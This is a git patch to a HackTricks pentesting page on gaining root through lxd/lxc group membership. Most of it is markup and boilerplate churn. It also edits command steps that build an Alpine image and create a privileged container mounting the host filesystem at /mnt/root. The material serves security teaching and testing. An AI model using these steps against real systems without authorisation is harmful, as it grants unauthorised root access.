From 46ef2744be7fbb64932705d2d8cd2b3ce471944a Mon Sep 17 00:00:00 2001 From: CPol Date: Mon, 28 Oct 2024 17:09:50 +0000 Subject: [PATCH] GITBOOK-4420: No subject --- .../lxd-privilege-escalation.md | 148 +++++++++++------- 1 file changed, 91 insertions(+), 57 deletions(-) diff --git a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index 19a84e60191..5550345e90c 100644 --- a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -1,8 +1,8 @@ # lxd/lxc Group - Privilege escalation {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -14,30 +14,6 @@ Learn & practice GCP Hacking: {% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} -{% endhint %} If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root @@ -49,20 +25,27 @@ You can install in your machine this distro builder: [https://github.com/lxc/dis ```bash sudo su -#Install requirements +# Install requirements sudo apt update sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools -#Clone repo + +# Clone repo git clone https://github.com/lxc/distrobuilder -#Make distrobuilder + +# Make distrobuilder cd distrobuilder make -#Prepare the creation of alpine + +# Prepare the creation of alpine mkdir -p $HOME/ContainerImages/alpine/ cd $HOME/ContainerImages/alpine/ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml -#Create the container + +# Create the container +## Using build-lxd sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 +## Using build-lxc +sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18 ``` Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container: @@ -118,7 +101,8 @@ lxc init myimage mycontainer -c security.privileged=true # mount the /root into the image lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true -{% hint style="success" %} +
+ Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -131,52 +115,102 @@ Learn & practice GCP Hacking: -{% endhint %} + +
+
-{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %} + + + -{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -{% endhint %} + + +hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + + + -{% endhint %} + + +```